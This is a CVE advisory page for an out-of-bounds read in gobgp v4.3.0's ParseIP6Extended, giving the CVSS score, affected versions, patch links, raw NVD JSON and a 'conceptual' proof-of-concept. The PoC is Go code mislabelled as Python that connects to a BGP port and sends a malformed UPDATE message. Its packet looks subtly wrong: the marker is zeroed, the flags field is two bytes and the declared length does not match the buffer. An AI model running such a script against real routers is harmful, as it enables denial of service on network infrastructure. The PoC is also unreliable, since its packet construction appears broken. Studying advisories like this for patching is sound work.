Security Vulnerability Report
中文
CVE-2026-37461 CVSS 7.5 HIGH

CVE-2026-37461

Published: 2026-05-04 17:16:23
Last Modified: 2026-05-11 19:58:38

Description

An out-of-bounds read in the ParseIP6Extended function (/bgp/bgp.go) of gobgp v4.3.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:osrg:gobgp:4.3.0:*:*:*:*:*:*:* - VULNERABLE
gobgp v4.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "bytes" "encoding/binary" "fmt" "net" ) // Conceptual PoC for CVE-2026-37461 // This simulates sending a crafted BGP UPDATE message to trigger OOB read in ParseIP6Extended func main() { target := "127.0.0.1:179" conn, err := net.Dial("tcp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() // BGP Marker (16 bytes) + Length (2 bytes) + Type (1 byte) marker := make([]byte, 16) length := make([]byte, 2) binary.BigEndian.PutUint16(length, 40) // Minimal length to trigger parsing logic typeByte := []byte{2} // UPDATE message // Crafted Path Attributes to trigger ParseIP6Extended vulnerability // Malformed attribute length designed to cause OOB read malformedAttr := []byte{ 0x00, 0x01, // Attribute Flags (Optional, Transitive) 0x14, // Attribute Type Code (e.g., MP_REACH_NLRI related context) 0x00, 0x05, // Length (Deliberately incorrect/malicious) 0x00, 0x02, // AFI IPv6 0x01, // SAFI Unicast // Next hop data that triggers the OOB read 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, } buffer := bytes.NewBuffer(marker) buffer.Write(length) buffer.Write(typeByte) buffer.Write(malformedAttr) _, err = conn.Write(buffer.Bytes()) if err != nil { fmt.Println("Send failed:", err) return } fmt.Println("Malicious BGP UPDATE sent successfully.") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37461", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:23.230", "lastModified": "2026-05-11T19:58:37.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read in the ParseIP6Extended function (/bgp/bgp.go) of gobgp v4.3.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "21D99A4E-C785-427C-AB1C-3EE8B349E686"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/blob/v4.3.0/pkg/packet/bgp/bgp.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/osrg/gobgp/commit/362cce3e325f56e7a4f792ccb9689b3bdda9e682", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osrg/gobgp/commit/9ce8936672ebc07df524da77fa4c6ae26d92be6d", "source": "[email protected]", "tags": ["Patch"]}]}}